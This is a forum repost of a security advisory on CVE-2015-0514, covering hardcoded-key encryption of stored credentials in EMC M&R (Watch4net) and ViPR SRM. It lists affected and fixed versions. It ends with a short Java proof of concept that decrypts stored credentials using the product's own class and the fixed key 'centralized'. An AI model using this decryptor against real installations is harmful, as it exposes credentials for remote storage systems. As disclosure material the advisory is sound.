Aerosol Posted March 19, 2015 Report Posted March 19, 2015 EMC M&R (Watch4net) data storage collector credentials are not properlyprotected------------------------------------------------------------------------Han Sahin, November 2014------------------------------------------------------------------------Abstract------------------------------------------------------------------------It was discovered that EMC M&R (Watch4net) credentials of remote serversstored in Watch4net are encrypted using a fixed hardcoded password. Ifan attacker manages to obtain a copy of the encrypted credentials, it istrivial to decrypt them.------------------------------------------------------------------------Affected products------------------------------------------------------------------------EMC reports that the following products are affected by thisvulnerability:- EMC M&R (Watch4Net) versions prior 6.5u1- EMC ViPR SRM versions prior to 3.6.1------------------------------------------------------------------------See also------------------------------------------------------------------------- CVE-2015-0514- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities------------------------------------------------------------------------Fix------------------------------------------------------------------------EMC released the following updated versions that resolve thisvulnerability:- EMC M&R (Watch4Net) 6.5u1- EMC ViPR SRM 3.6.1Registered customers can download upgraded software from support.emc.comat https://support.emc.com/downloads/34247_ViPR-SRM.------------------------------------------------------------------------Details------------------------------------------------------------------------https://www.securify.nl/advisory/SFY20141101/emc_m_r__watch4net__data_storage_collector_credentials_are_not_properly_protected.htmlDue to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().Proof of conceptimport com.watch4net.apg.v2.common.config.tools.Utils;public class Watch4NetCrypt { private static void print(String out) { System.out.println(out); } private static void usage() { print("Usage:\t watch4netcrypt [-e] password"); print("\t watch4netcrypt [-d] encrypted"); System.exit(1); } public static void main(String[] args) { if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) { usage(); } Boolean encrypt = "-e".equals(args[0]); String password = args[1]; if (password != null) { print(Utils.process(password, encrypt, "centralized", null)); }}Source Quote